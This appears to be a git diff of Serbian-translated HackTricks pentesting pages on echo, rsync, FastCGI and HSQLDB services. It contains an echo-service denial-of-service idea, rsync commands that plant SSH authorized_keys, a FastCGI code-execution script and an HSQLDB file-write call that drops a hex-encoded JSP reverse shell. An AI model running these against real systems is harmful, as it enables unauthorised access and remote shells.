* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
@ -23,8 +24,8 @@ Drugi načini podrške HackTricks-u:
# Osnovne informacije
Na ovom hostu radi usluga eha. Usluga eha je namenjena testiranju i merenju i može slušati i TCP i UDP protokole. Server vraća bilo koje podatke koje primi, bez modifikacija.\
**Moguće je izazvati odbijanje usluge povezivanjem usluge eha sa uslugom eha na istom ili drugom računaru**. Zbog prekomernog broja paketa proizvedenih, pogođeni računari mogu biti efikasno isključeni iz upotrebe.\
Na ovom hostu radi echo servis. Echo servis je namenjen za testiranje i merenje i može slušati na TCP i UDP protokolima. Server vraća sve podatke koje primi, bez modifikacije.\
**Moguće je izazvati uskraćivanje usluge povezivanjem echo servisa sa echo servisom na istom ili drugom računaru**. Zbog prekomerno velikog broja paketa koji se proizvode, pogođeni računari mogu biti efikasno isključeni iz usluge.\
Informacije sa [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
**Podrazumevani port:** 7/tcp/udp
@ -43,7 +44,7 @@ Hello echo #This is the response
* `port:7 echo`
## Reference
## References
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
@ -56,16 +57,17 @@ Hello echo #This is the response
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,33 +1,34 @@
# 873 - Pentesting Rsync
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Osnovne informacije**
Sa [wikipedia](https://en.wikipedia.org/wiki/Rsync):
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> **rsync** je alatka za efikasno [transferisanje](https://en.wikipedia.org/wiki/File\_transfer) i [sinhronizaciju](https://en.wikipedia.org/wiki/File\_synchronization) [fajlova](https://en.wikipedia.org/wiki/Computer\_file) između računara i eksternog hard diska i između računara u mreži tako što upoređuje vreme modifikacije i veličine fajlova.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Često se koristi na [Unix-sličnim](https://en.wikipedia.org/wiki/Unix-like) [operativnim sistemima](https://en.wikipedia.org/wiki/Operating\_system). Rsync algoritam je vrsta [delta enkodiranja](https://en.wikipedia.org/wiki/Delta\_encoding) i koristi se za minimiziranje korišćenja mreže. [Zlib](https://en.wikipedia.org/wiki/Zlib) se može koristiti za dodatno [kompresovanje podataka](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) a [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) ili [stunnel](https://en.wikipedia.org/wiki/Stunnel) se mogu koristiti za bezbednost.
> **rsync** je alat za efikasno [prenos](https://en.wikipedia.org/wiki/File\_transfer) i [sinhronizaciju](https://en.wikipedia.org/wiki/File\_synchronization) [fajlova](https://en.wikipedia.org/wiki/Computer\_file) između računara i eksternog hard diska i preko [umreženih](https://en.wikipedia.org/wiki/Computer\_network) [računara](https://en.wikipedia.org/wiki/Computer) upoređujući [vremena izmene](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) i veličine fajlova.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) Obično se nalazi na [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operativnim sistemima](https://en.wikipedia.org/wiki/Operating\_system). Rsync algoritam je vrsta [delta kodiranja](https://en.wikipedia.org/wiki/Delta\_encoding) i koristi se za minimiziranje korišćenja mreže. [Zlib](https://en.wikipedia.org/wiki/Zlib) se može koristiti za dodatnu [kompresiju podataka](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) a [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) ili [stunnel](https://en.wikipedia.org/wiki/Stunnel) mogu se koristiti za bezbednost.
**Podrazumevani port:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
### Prebrojavanje
## Enumeration
### Baner i ručna komunikacija
### Banner & Manual communication
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@ -49,9 +50,9 @@ nc -vn 127.0.0.1 873
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **Nabrajanje deljenih fascikli**
### **Enumerating Shared Folders**
**Rsync moduli** se prepoznaju kao **deljeni direktorijumi** koji mogu biti **zaštićeni lozinkama**. Da biste identifikovali dostupne module i proverili da li zahtevaju lozinke, koriste se sledeće komande:
**Rsync moduli** se prepoznaju kao **deljene fascikle** koje mogu biti **zaštićene lozinkama**. Da bi se identifikovali dostupni moduli i proverilo da li zahtevaju lozinke, koriste se sledeće komande:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
@ -59,13 +60,13 @@ msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Budite svesni da neki deljeni resursi možda neće biti prikazani na listi, što ih može sakriti. Takođe, pristup nekim deljenim resursima može biti ograničen na određene **poverljive podatke**, što se može videti kroz poruku **"Pristup odbijen"**.
Budite svesni da neki delovi možda neće biti prikazani na listi, što ih može sakriti. Pored toga, pristup nekim delovima može biti ograničen na specifične **credentials**, što je označeno porukom **"Access Denied"**.
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
### Ručna upotreba Rsync-a
### Ručna Rsync Upotreba
Nakon dobijanja liste **modula**, akcije zavise od toga da li je potrebna autentifikacija. Bez autentifikacije, **prikazivanje** i **kopiranje** fajlova sa deljenog foldera na lokalni direktorijum se postiže kroz:
Nakon dobijanja **module list**, akcije zavise od toga da li je potrebna autentifikacija. Bez autentifikacije, **listing** i **copying** fajlova iz deljenog foldera u lokalni direktorijum se postiže kroz:
```bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
@ -75,37 +76,38 @@ rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Ovaj proces **rekurzivno prenosi fajlove**, čuvajući njihove atribute i dozvole.
Sa **poverljivim podacima**, listanje i preuzimanje fajlova iz deljene fascikle se može obaviti na sledeći način, gde će se pojaviti zahtev za unos lozinke:
Sa **akreditivima**, listanje i preuzimanje iz deljenog foldera može se uraditi na sledeći način, gde će se pojaviti prozor za unos lozinke:
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
Da biste **prebacili sadržaj**, kao što je datoteka _**authorized_keys**_ za pristup, koristite:
Da **otpremite sadržaj**, kao što je _**authorized_keys**_ datoteka za pristup, koristite:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
Da biste pronašli konfiguracionu datoteku rsyncd, izvršite:
Da biste locirali rsyncd konfiguracioni fajl, izvršite:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
Unutar ovog fajla, parametar _secrets file_ može ukazivati na fajl koji sadrži **korisnička imena i lozinke** za rsyncd autentifikaciju.
Within this file, a _secrets file_ parameter might point to a file containing **korisnička imena i lozinke** for rsyncd authentication.
## Reference
## References
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Osnovne informacije
Ako želite da **saznate šta je FastCGI** pogledajte sledeću stranicu:
Ako želite da **naučite šta je FastCGI** pogledajte sledeću stranicu:
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
{% endcontent-ref %}
Po defaultu, **FastCGI** radi na **portu** **9000** i nije prepoznat od strane nmap-a. **Obično** FastCGI samo osluškuje na **localhost**-u.
Podrazumevano **FastCGI** radi na **portu** **9000** i nije prepoznat od strane nmap-a. **Obično** FastCGI sluša samo na **localhost**.
# RCE
Dosta je lako naterati FastCGI da izvrši proizvoljan kod:
Veoma je lako naterati FastCGI da izvrši proizvoljan kod:
```bash
#!/bin/bash
@ -45,19 +46,20 @@ cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
```
ili možete koristiti sledeći Python skript: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
ili možete koristiti sledeći python skript: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,53 +1,56 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Osnovne informacije
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** je vodeći SQL relacioni sistem baza podataka napisan u Javi. Nudi malu, brzu, višenitnu i transakcionu bazu podataka sa tabelama u memoriji i na disku, podržava ugrađeni i serverski režim.
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** je vodeći SQL relacijski sistem baza podataka napisan u Javi. Pruža mali, brzi višedretveni i transakcijski motor baze podataka sa tabelama u memoriji i na disku, i podržava ugrađene i serverske režime.
**Podrazumevani port:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# Informacije
# Information
### Podrazumevane postavke
### Default Settings
Imajte na umu da je ovaj servis podrazumevano pokrenut u memoriji ili je vezan za localhost. Ako ste ga pronašli, verovatno ste iskoristili neki drugi servis i želite da povećate privilegije.
Imajte na umu da je po defaultu ova usluga verovatno pokrenuta u memoriji ili je vezana za localhost. Ako ste je pronašli, verovatno ste iskoristili drugu uslugu i tražite da povećate privilegije.
Podrazumevane akreditacije obično su `sa` sa praznom lozinkom.
Podrazumevani kredencijali su obično `sa` sa praznom lozinkom.
Ako ste iskoristili neki drugi servis, potražite moguće akreditacije koristeći
Ako ste iskoristili drugu uslugu, pretražite moguće kredencijale koristeći
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
# Info prikupljanje
Napomena pažljivo zabeležite ime baze podataka - biće vam potrebno za povezivanje.
Povežite se sa instancom baze podataka preuzimanjem HSQLDB-a sa [ovog linka](https://sourceforge.net/projects/hsqldb/files/) i izdvajanjem `hsqldb/lib/hsqldb.jar`. Pokrenite GUI aplikaciju (eww) koristeći `java -jar hsqldb.jar` i povežite se sa instancom koristeći otkrivene/slabije kredencijale.
# Prikupljanje informacija
Obratite pažnju da će URL za povezivanje izgledati nešto poput ovoga za udaljeni sistem: `jdbc:hsqldb:hsql://ip/DBNAME`.
Povežite se na DB instancu preuzimanjem [HSQLDB](https://sourceforge.net/projects/hsqldb/files/) i ekstraktovanjem `hsqldb/lib/hsqldb.jar`. Pokrenite GUI aplikaciju \(eww\) koristeći `java -jar hsqldb.jar` i povežite se na instancu koristeći otkrivene/slabe akreditive.
Napomena: URL za povezivanje će izgledati otprilike ovako za udaljeni sistem: `jdbc:hsqldb:hsql://ip/DBNAME`.
# Trikovi
## Java jezičke rutine
Možemo pozvati statičke metode Java klase iz HSQLDB-a koristeći Java jezičke rutine. Imajte na umu da pozvana klasa mora biti u putanji aplikacije.
Možemo pozvati statičke metode Java klase iz HSQLDB koristeći Java jezičke rutine. Imajte na umu da klasa koja se poziva mora biti u classpath-u aplikacije.
JRT-ovi mogu biti `funkcije` ili `procedure`. Funkcije se mogu pozvati putem SQL naredbi ako Java metoda vraća jednu ili više SQL-kompatibilnih primitivnih varijabli. Pozivaju se koristeći `VALUES` naredbu.
JRT-ovi mogu biti `funkcije` ili `procedure`. Funkcije se mogu pozivati putem SQL izjava ako Java metoda vraća jednu ili više SQL-kompatibilnih primitivnih promenljivih. Pozivaju se koristeći `VALUES` izjavu.
Ako Java metoda koju želimo pozvati vraća void, moramo koristiti proceduru koja se poziva sa `CALL` naredbom.
Ako Java metoda koju želimo da pozovemo vraća void, moramo koristiti proceduru koja se poziva sa `CALL` izjavom.
## Čitanje Java sistemskih svojstava
@ -61,11 +64,11 @@ Izvrši funkciju:
```text
VALUES(getsystemproperty('user.name'))
```
Možete pronaći [listu sistemskih svojstava ovde](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
Možete pronaći [spisak sistemskih svojstava ovde](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## Upisivanje sadržaja u datoteku
## Pisanje sadržaja u datoteku
Možete koristiti Java uređaj `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` koji se nalazi u JDK-u (automatski učitan u putanju klase aplikacije) da biste putem prilagođene procedure upisali heksadecimalne stavke na disk. **Obratite pažnju na maksimalnu veličinu od 1024 bajta**.
Možete koristiti `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget koji se nalazi u JDK \(automatski učitan u klasu aplikacije\) da biste zapisali heksadecimalno kodirane stavke na disk putem prilagođene procedure. **Napomena: maksimalna veličina je 1024 bajta**.
Kreirajte proceduru:
```text
@ -73,20 +76,21 @@ CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINA
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
Izvršite proceduru:
Izvrši proceduru:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
